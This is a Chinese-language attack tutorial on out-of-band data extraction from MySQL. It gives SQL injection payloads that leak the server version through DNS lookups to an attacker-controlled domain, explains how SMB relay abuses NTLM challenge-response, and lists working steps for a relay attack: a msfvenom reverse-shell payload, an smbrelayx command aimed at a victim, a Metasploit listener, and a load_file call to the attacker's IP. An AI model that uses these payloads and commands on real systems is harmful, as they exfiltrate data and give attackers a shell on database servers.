带外通道攻击是什么
带外通道攻击主要是利用其他协议或者渠道从服务器提取数据. 它可能是HTTP(S)请求,DNS解析服务,SMB服务,Mail服务等.
条件限制
mysql的话secure_file_priv为空的时候可以使用,版本基本在5.5.53之前。
其他数据库未测试
DNS注入
- select load_file(concat('\\',version(),'.hacker.site\a.txt'));
- select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
- 这其中的.hacker.site是你搭建的DNS域名服务器的地址,如果没有的话可以去http://ceye.io注册个账号。
能注入的原因即是MySQL在load_file()一个远程文件时会发送dns请求包去解析。当load_file()本地文件时便不会发出dns解析包
SMB Relay 注入攻击
- 以下转自rootclay的文章
- 这里简单的描述一下SMB relay这个过程
假设有主机B与A
(1) A向B发起连接请求
(2) B向A发送挑战(一组随机数据,8字节)
(3) A用源自明文口令的DESKEY对挑战进行标准DES加密得到响应,并发往B
(4) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对前面发往A的挑战进
行标准DES加密
(5) 如果(4)中计算结果与A送过来的响应匹配,A被允许访问B
现在假设一个攻击者C卷入其中
(1) C向B发起连接请求
(2) B向C发送挑战D(一组随机数据)
(3) C等待A向B发起连接请求
(4) 当A向B发起连接请求时,C伪造成B向A发送挑战D
(5) A用源自明文口令的DESKEY对挑战D进行标准DES加密得到响应E,并发往B
(6) C截获到响应E,将它做为针对(2)中挑战D的响应发往B,并声称自己是A
(7) B从SAM中获取A的LM Hash、NTLM Hash,计算出DESKEY,并对挑战D进行标准DES
加密
(8) 如果(7)中计算结果与C送过来的响应匹配,C被允许以A的身份访问B。
攻击流程
关于SMB relay攻击窃取NTML与shell请看这篇文章
SMB Relay Demystified and NTLMv2 Pwnage with Python
整理了一下实际操作的步骤如下:
首先生成一个反向shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=攻击机监听端口 -f exe > reverse_shell.exe
运行
smbrelayx ,指定被攻击者和生成的反向shell,等待连接。
smbrelayx.py -h 被攻击者ip -e 反向shell文件位置
使用模块multi/handler。侦听攻击机ip,攻击机监听端口
在MySQL Server上运行如下的代码,则会产生shell。相当于访问攻击机的smb服务,但实际上是窃取了mysql_server的身份
select load_file('\攻击机ip\aa');